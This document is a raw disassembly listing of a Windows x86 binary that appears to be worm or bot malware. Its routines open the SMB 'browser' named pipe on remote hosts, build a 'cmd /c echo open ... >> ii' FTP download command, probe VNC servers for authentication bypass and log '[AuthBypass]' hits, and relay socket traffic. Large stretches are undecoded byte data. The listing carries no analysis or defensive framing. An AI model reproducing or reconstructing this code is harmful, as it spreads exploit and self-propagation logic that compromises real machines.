; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 74h ; t db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A7h ; § db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 58h ; X db 0D1h ; Ñ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 2700729h nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43224C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432238 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] call near ptr 26F0000h nop test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] call near ptr 26619D4h nop jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] call near ptr 2700000h nop push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321E0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDCCC jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_43222F+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321D4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321DC[esi] push 7 add eax, edi push offset dword_4321C8 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432068 push eax call sub_41C310 mov eax, dword_4321D8[esi] add esp, 30h cmp byte_4321E0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDCC4 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321F8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321F8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 26619D4h push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26F08EDh mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] call near ptr 2700000h nop test eax, eax jnz short loc_40DE4F nop call near ptr 2680930h cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] call near ptr 2690000h nop cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D6h ; Ö db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 0E8h ; è db 2Ch ; , db 34h ; 4 db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 0E8h ; è db 38h ; 8 db 5Dh ; ] db 6Ah ; j db 71h ; q db 90h ; db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 0E8h ; è db 5Fh ; _ db 5Fh ; _ db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0E0h ; à db 0ACh ; ¬ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 80h ; € db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 38h ; 8 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 87h ; ‡ db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; è db 8Ch ; Œ db 3Bh ; ; db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0E7h ; ç db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 262EF9E8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACE0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43143Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFE4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322F4 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431440[eax] lea eax, dword_431440[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAFBC test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433538 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFE4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAFA4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB03C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE5C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431440[eax] push ebx lea eax, dword_431440[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCE4 call dword_4CAFBC test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCE0 call near ptr 26F0000h nop jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCD4 nop call near ptr 2700000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCE4 call dword_4CAFF4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0B02415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B03815FFh, 0E4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 302098E8h, 0FF509002h, 4CDCD835h, 8AE89000h, 50023020h dd 19E6E890h, 458D0230h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43353Ch, 36FAE857h, 8D900225h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 2719ABE8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1992E890h, 0FF6A0227h, 0FFF04589h, 0E890D875h, 2281984h dd 0F075FF57h, 1FACE890h, 0FF570228h, 0A3E8EC75h, 9002281Fh dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0F8E8D875h, 90022F22h dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCEC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CB024h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Dh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF38h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Dh, 530000FFh, 9E63E8h, 0ECA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 0E8565959h, 22D1770h, 57056A90h, 0AFCC15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35446850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 